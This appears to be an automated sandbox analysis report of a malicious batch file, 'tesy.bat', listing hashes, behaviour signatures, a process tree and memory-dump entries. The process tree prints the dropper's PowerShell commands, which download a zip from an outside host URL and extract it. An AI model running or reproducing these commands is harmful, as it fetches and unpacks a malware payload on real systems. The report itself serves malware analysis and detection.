3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
1559s
max time network
1561s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
06-11-2023 17:25

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General

Target

tesy.bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2336	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2336	powershell.exe
1072	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2336	powershell.exe
Token: SeDebugPrivilege	1072	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 852 wrote to memory of 2336	852	cmd.exe	29
PID 852 wrote to memory of 2336	852	cmd.exe	29
PID 852 wrote to memory of 2336	852	cmd.exe	29
PID 852 wrote to memory of 1072	852	cmd.exe	30
PID 852 wrote to memory of 1072	852	cmd.exe	30
PID 852 wrote to memory of 1072	852	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1072

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3ZWZVRK98G9089Y66GLP.temp

Filesize
7KB

MD5
9b9def8b5fa93af52622ace572dbe2c9

SHA1
4cfc8f6dad2657e816d27549a6cda0442bc17a9d

SHA256
286a12e21ba25b1738e04d995640fd39f9e63ccc2a78ee961e4804df0900eeaa

SHA512
14e030c4f245f0ab182d6cea980f3b088af846ba46b8e099902a1b7e161ea7b190142a5dde5bf4d30602127525632297d9f57985f3c5f924f5d342230250d23b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
9b9def8b5fa93af52622ace572dbe2c9

SHA1
4cfc8f6dad2657e816d27549a6cda0442bc17a9d

SHA256
286a12e21ba25b1738e04d995640fd39f9e63ccc2a78ee961e4804df0900eeaa

SHA512
14e030c4f245f0ab182d6cea980f3b088af846ba46b8e099902a1b7e161ea7b190142a5dde5bf4d30602127525632297d9f57985f3c5f924f5d342230250d23b

Download Submit
memory/1072-20-0x000007FEF4830000-0x000007FEF51CD000-memory.dmp

Filesize
9.6MB

Download
memory/1072-19-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/1072-25-0x000007FEF4830000-0x000007FEF51CD000-memory.dmp

Filesize
9.6MB

Download
memory/1072-24-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/1072-23-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/1072-22-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/1072-21-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/1072-17-0x000000001B320000-0x000000001B602000-memory.dmp

Filesize
2.9MB

Download
memory/1072-18-0x000007FEF4830000-0x000007FEF51CD000-memory.dmp

Filesize
9.6MB

Download
memory/2336-11-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

Filesize
9.6MB

Download
memory/2336-4-0x000000001B180000-0x000000001B462000-memory.dmp

Filesize
2.9MB

Download
memory/2336-5-0x0000000002370000-0x0000000002378000-memory.dmp

Filesize
32KB

Download
memory/2336-6-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

Filesize
9.6MB

Download
memory/2336-7-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2336-9-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2336-8-0x000007FEF51D0000-0x000007FEF5B6D000-memory.dmp

Filesize
9.6MB

Download